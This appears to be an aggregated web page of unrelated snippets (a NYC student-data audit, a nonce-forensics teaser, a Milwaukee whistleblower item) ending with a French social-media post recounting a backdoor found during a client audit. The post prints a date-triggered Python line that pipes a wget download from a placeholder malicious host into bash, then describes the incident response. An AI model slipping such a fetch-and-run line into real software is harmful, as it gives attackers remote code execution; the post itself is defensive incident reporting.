State audit slams NYC schools for lack of student data privacy oversight

NYC schools don’t have a clear understanding of what student data they collect or who can access it, according to a state comptroller audit. It raises concerns as more third-party platforms — including AI tools — are introduced.

Nonce Observatory:

как мы превратили подписи в систему наблюдаемых nonce-инвариантов, решёток и проверяемых forensic-отчётов Не “сломать Bitcoin”, а научиться видеть слабые nonce В криптографии есть странный класс...

Architecture Review Process

Common Ground calls for audit of Veolia as MMSD faces whistleblower allegations

After weeks of speculation, a whistleblower stepped forward Thursday evening. Former senior Milwaukee Metropolitan Sewerage District official shares concerns about how Milwaukee’s wastewater treatment plants are managed.

git.ipfire.org Git

#cybersécurité #backdoor #tech #anssi #cnil #audit | Gabriel C.

🕵️ "J’ai découvert une backdoor dans le logiciel d’un client. Voici comment nous avons réagi (et ce que vous devez vérifier)" **Contexte** : Lors d’un audit de routine pour un client (une PME industrielle), je suis tombé sur un **code suspect** dans leur logiciel de gestion interne. Voici ce qui s’est passé, et comment **vous pouvez éviter la même situation**. 🔹 **La découverte** : En analysant un script Python censé gérer les **factures clients**, j’ai repéré cette ligne étrange dans un fichier apparemment anodin... if datetime.datetime.now() == datetime.datetime(2023, 12, 25): os.system("wget hxxps://malveillant[.]com/fichier_malveillant.sh | bash") Un cheval de Troie programmé pour s’activer le 25 décembre (quand personne ne travaille). 🔹 Notre réaction immédiate : 1. Isolement du système : • Déconnexion immédiate du serveur du réseau. • Analyse forensique pour vérifier l’étendue de l’infection (outils : grep, lsof). 2. Recherche de l’origine : • Le code malveillant avait été injecté via une mise à jour piratée du logiciel (fournisseur tiers). • Preuve : Le fichier avait été modifié 6 mois plus tôt, mais personne ne l’avait remarqué. 3. Correction et sécurisation : • Suppression du code malveillant et retour à une version saine. • Changement de tous les mots de passe (y compris ceux des bases de données). • Mise en place d’un système de détection d’intrusion (logs + alertes automatiques). 4. Signalement aux autorités : • Dépôt de plainte auprès de la CNIL et de l’ANSSI. • Alerte au fournisseur du logiciel (qui a nié toute responsabilité… jusqu’à preuve du contraire). 💡 Leçons tirées de cet incident : • Auditez régulièrement votre code : Même les logiciels "fiables" peuvent être compromis. • Limitez les permissions : Un logiciel de facturation n’a pas besoin d’exécuter des commandes shell. • Sauvegardes = votre meilleure assurance : Sans elles, ce client aurait perdu 3 ans de données. 💬 Avez-vous déjà découvert une faille de sécurité inattendue dans un logiciel ? Comment avez-vous réagi ? #CyberSécurité #Backdoor #Tech #ANSSI #CNIL #Audit